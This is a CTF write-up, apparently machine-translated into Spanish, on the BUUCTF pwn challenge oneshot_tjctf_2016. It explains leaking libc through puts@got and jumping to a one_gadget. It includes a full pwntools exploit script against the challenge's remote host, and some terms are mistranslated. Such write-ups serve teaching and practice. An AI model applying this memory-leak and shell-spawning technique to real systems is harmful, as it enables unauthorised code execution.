[BUUCTF] PWN —— oneshot_tjctf_2016 (one_gadget)

oneshot_tjctf_2016

anexo

paso

  1. Inspección de rutina, programa de 64 bits, nx está activado
    Inserte la descripción de la imagen aquí

  2. Pruébelo localmente para ver la situación general.
    Inserte la descripción de la imagen aquí

  3. Carga ida de 64 bits
    Inserte la descripción de la imagen aquí
    La 8ª línea del programa leerá el valor de la dirección correspondiente según la entrada de la 7ª línea, y la 10ª línea saltará a la dirección correspondiente de la entrada.

  4. La décima línea saltará de acuerdo con la dirección de entrada. Lo primero que me viene a la mente es dejarlo saltar para ejecutar el sistema ('/ bin / sh'), pero no hay una puerta trasera existente en el programa, así que pensé en probar para ver si se puede utilizar one_gadget.
    Inserte la descripción de la imagen aquí

  5. Antes de eso, primero debemos conocer el desplazamiento en el programa. Según el análisis anterior, la línea 8 leerá el valor de la dirección correspondiente en base a la entrada de la línea 7. Podemos usar put @ got para filtrar libc en este punto, de modo que podamos calcular el offset del programa.

elf = ELF('./oneshot_tjctf_2016')
puts_got = elf.got['puts']
p.sendlineafter('Read location?',str(puts_got))
p.recvuntil('value:')
pause()

Inserte la descripción de la imagen aquí
Después de obtener la dirección de la función de venta, se puede calcular el desplazamiento y se puede calcular la dirección de one_gadget en el programa.

libcbase = puts_addr - libc.symbols['puts']
onegadget = libcbase + one_gadget[0]

Listo, solo ingrese la dirección de one_gadget en el punto de entrada en la línea 10, intente uno por uno con 4. Afortunadamente, el primero está bien.

Exp completa

from pwn import *
from LibcSearcher import * 
context.log_level ='debug'
 
elf = ELF('./oneshot_tjctf_2016')
#p = process('./oneshot_tjctf_2016')
p = remote('node3.buuoj.cn',25203)

libc = ELF('./libc-2.23-64.so')
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
 
puts_got = elf.got['puts']
p.sendlineafter('Read location?',str(puts_got))
p.recvuntil('0x')
#pause()
puts_addr = int(p.recvuntil('\n'),16)
print hex(puts_addr)
#pause() 

libcbase = puts_addr - libc.symbols['puts']
onegadget = libcbase + one_gadget[0]
 
p.sendline(str(onegadget)) 
 
p.interactive()

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/mcmuyanga/article/details/113481435
Recomendado
Clasificación